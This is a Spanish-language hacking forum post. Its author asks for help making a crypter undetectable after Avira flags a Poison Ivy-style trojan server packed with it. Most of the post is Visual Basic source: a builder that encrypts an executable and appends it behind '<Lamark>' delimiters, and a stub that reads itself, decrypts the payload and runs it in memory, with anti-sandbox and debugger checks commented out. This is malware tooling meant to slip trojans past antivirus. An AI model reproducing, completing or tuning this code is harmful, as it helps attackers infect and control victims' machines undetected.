El stub lo e dejado FUD y el cripter esta 100% limpio.
Pero al cifrar un server de PI se une el avira...
¿Me podeis hechar una mano?
¿Que puedo hacer?
he contactado con EON y estas son sus palabras
"adapta el cripter y el stub para que en vez de leer/cargar del/en eof lean/carguen del resource"
Parte del Cripter:
Código:
Private Sub chameleonButton3_Click()
Dim Buffer() As Byte
Dim ResBuffer() As Byte
Dim EofData As String
Dim Buffer2 As String
Dim Stubpath As String
With CommonDialog1
.CancelError = True
.DialogTitle = "Selecciona donde guardar el archivo cifrado"
.DefaultExt = ".exe"
.Filter = "Executables|*.exe"
.FileName = "cifrado.exe"
End With
CommonDialog1.ShowSave
Stubpath = CommonDialog1.FileName
ResBuffer() = LoadResData(101, "CUSTOM")
Open Stubpath For Binary As #3
Put #3, , ResBuffer()
Close #3
Text3.Text = Text3.Text & "Leyendo archivo..." & vbCrLf
Text3.Text = Text3.Text & "cifrando..." & vbCrLf
EncodeArrayB LoadFile(Text1.Text), Text2.Text
Buffer() = encoded()
Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
Open Stubpath For Binary As #1
Put #1, LOF(1) + 1, "<Lamark>"
Put #1, LOF(1) + 1, Buffer()
Put #1, LOF(1) + 1, "<Lamark>"
Put #1, LOF(1) + 1, Text2.Text
Put #1, LOF(1) + 1, "<Lamark>"
Put #1, LOF(1) + 1, EofData
Close #1
PatchEOF Stubpath 'removed cause it crashes the eof data
Open Stubpath For Binary As #1
Put #1, LOF(1) + 1, EofData
Close #1
Text3.Text = Text3.Text & "cifrado!" & vbCrLf
MsgBox "El archivo fue cifrado correctamente", 64, "CripTNT"
End Sub
Parte del Stub:
Código:
Dim d4täN() As String
Dim iNh41T As String
Dim Ev1L() As Byte
Dim Myself As String
Sub Main()
On Error Resume Next
'If Sandboxed = True Then MsgBox ""
'If Anubis = True Then MsgBox ""
'If Debugger = True Then MsgBox ""
Myself = App.Path & "\" & App.EXEName & ".exe"
Open Myself For Binary As #1
iNh41T = Space(FileLen(Myself))
Get #1, 1, iNh41T
Close #1
d4täN() = Split(iNh41T, "<Lamark>")
Ev1L() = StrConv(d4täN(1), vbFromUnicode)
EncodeArrayB Ev1L(), d4täN(2)
RunExe Myself, encoded()
End Sub
El stub va dentro del Cripter como res
Alguien me ayuda PORFAVOR? Alguien seria tan amable de ayudarme con teamviewer?
Muchas gracias y espero contestación